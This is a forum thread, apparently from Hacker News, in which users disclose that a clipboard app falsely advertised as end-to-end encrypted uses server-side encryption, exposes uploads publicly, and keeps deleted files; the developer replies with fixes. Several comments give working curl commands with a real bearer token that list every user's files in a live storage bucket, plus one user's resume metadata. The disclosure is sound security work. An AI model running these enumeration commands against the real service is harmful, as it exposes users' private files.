12/31/2025 at 3:05:19 PM
I inspected the HTTP requests and this is absolutely not E2EE. Clipboard contents are POSTed as plaintext to https://www.quickclip.space/api/encrypt, and can be decrypted later via https://www.quickclip.space/api/decryptEncryption appears to be in the openssl "Salted__" format (and base64 encoded). I can't infer the actual encryption algorithm configured, but it's an unauthenticated block cipher with 128-bit blocks, presumably in CBC mode, padded with PKCS7.
Additionally, the same encryption key (whatever it is, I can't see it since it's stored on the server) is shared across all users (I tested this by decrypting a ciphertext from one account on a second account).
by Retr0id
12/31/2025 at 3:18:49 PM
Also, uploaded images are publicly reachable in plaintext and without auth: https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/c...by Retr0id
12/31/2025 at 4:50:32 PM
Even better, you can enumerate ALL USER UPLOADS with the token you get by typing a random email into the sign-up without verification.List all folders in the clipboard-images bucket (there's 5, guessing for each user):
curl -X POST \
"https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
-H "authorization: Bearer eyJXXXXXXXX" \
-H "content-type: application/json" \
-d '{"prefix": ""}' \
| jq
List everything in a specific user's folder: curl -X POST \
"https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
-H "authorization: Bearer eyJXXXXXXXX" \
-H "content-type: application/json" \
-d '{"prefix": "7b407af2-f30c-4e37-adc7-b7bf48f2661b"}' \
| jq
For example: {
"name": "1766836115975-Gopal_Resume.pdf",
"id": "7ba4b09f-a0ab-4ce1-ae04-dc664be25b0f",
"updated_at": "2025-12-27T11:48:36.761Z",
"created_at": "2025-12-27T11:48:36.761Z",
"last_accessed_at": "2025-12-27T11:48:36.761Z",
"metadata": {
"eTag": "\"eb528546d014c8756fc1d0fedc252cff\"",
"size": 75023,
"mimetype": "application/pdf",
"cacheControl": "max-age=3600",
"lastModified": "2025-12-27T11:48:37.000Z",
"contentLength": 75023,
"httpStatusCode": 200
}
}
https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/c...
by foltik
1/1/2026 at 12:38:33 PM
Extra further finding!Deletion policy says:
> 2. How to Delete Your Account and Data You have several options to delete your account and all associated data: Through the App: If you are signed in, you can delete your account directly from the Settings page. This will permanently delete all your data including [...] all uploaded images and files
... Although I've confirmed that the reality is that it only deletes the reference to those files from your account, and the actual files are still sitting on the server (I've just saved the url and checked the file still exists after deletion).
Even after it throws a message saying everything has been permanently deleted...
This thing is an absolute security and privacy nightmare - I would not rely on any information on the website about how they handle your data, considering they said it was e2e and that was not truthful, and they have said they delete the images and that isn't true. How can anything about this be trusted after repeated untruths about how our data is handled?
Also the app seems to send several MB of data back/forward every minute when doing nothing across a socket connection which is another red flag.
by Closi
12/31/2025 at 10:45:55 PM
still working on it. Storage bucket policies now restrict folder access, but listing permissions need tightening. Will update bucket policies to prevent enumeration. Thanks for the detailed curl examples—they helped identify the exact issue.by imgopaal
12/31/2025 at 10:37:21 PM
Thanks for reporting this. I'm working on itby imgopaal
12/31/2025 at 4:53:12 PM
jfc lolby Retr0id
12/31/2025 at 4:55:39 PM
but $LLM said it was E2EE!!1!by foltik
12/31/2025 at 6:57:57 PM
E2EE - Expected to eventually evaporateby 4k93n2
12/31/2025 at 10:44:56 PM
Also Fixed. Images now use signed URLs with 1-year expiration. Public URLs are automatically converted to signed URLs. Storage bucket policies restrict access to user-specific folders. Appreciate you flagging this.by imgopaal
1/1/2026 at 4:53:33 PM
It appears to still be wide open: curl -X POST \
"https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
-H "authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6IndqeW5tamx1YWJxd3FodGR4YnRsIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NDIzODU1MDQsImV4cCI6MjA1Nzk2MTUwNH0.R6pSgPFgHe3ZU9DfKykE98MC1ObYihWdZuhy9v9Y_p0" \
-H "content-type: application/json" \
-d '{"prefix": "7b407af2-f30c-4e37-adc7-b7bf48f2661b"}' \
| jq
by foltik
12/31/2025 at 10:44:27 PM
Fixed. Each user now has a unique encryption key derived via PBKDF2 from master key + user ID. Old items are being re-encrypted in the background. See /data-security for details.Thanks for catching this critical issue.
by imgopaal
1/1/2026 at 4:48:12 PM
> Your encryption key is derived from a master key plus your user ID using PBKDF2 (a secure key derivation function). This means even if someone got access to the database, they couldn't decrypt your data without your specific key.> Your text gets encrypted on our server using your unique key. The encrypted data gets stored in our database
> When you need it on another device, we decrypt it and send it to you
Please stop advertising this as E2EE.
If you encrypt/decrypt the data on the server, you must have the keys. If someone gets access to the server, they can just decrypt everything since the master key is right there. You might as well base64 encode everything and call that encryption.
E2EE is where only the clients have the keys. Data is encrypted before sending to the server, and decrypted after receiving from the server. That's why it's called end-to-end: the server only ever handles encrypted data that it doesn't have the keys to decrypt.
by foltik
1/1/2026 at 12:49:03 AM
Why would you use PBKDF2 here?by Retr0id
1/1/2026 at 9:17:28 AM
I went with PBKDF2 mostly because of its wide support and compliance history, but I’d love to hear your take on what you’d recommend.by imgopaal
1/2/2026 at 2:02:54 AM
PBKDF2 is pretty obsolete crypto, argon2i I think is the latest for converting passphrases to keys. For generating keys, just use entropy instead.by pabs3
1/1/2026 at 1:23:10 PM
If your input is a key and not a passphrase, you can just use a regular KDF. PBKDF2 is a waste of clock cycles.Also, your site still says "E2EE" on the homepage, you should remove that.
by Retr0id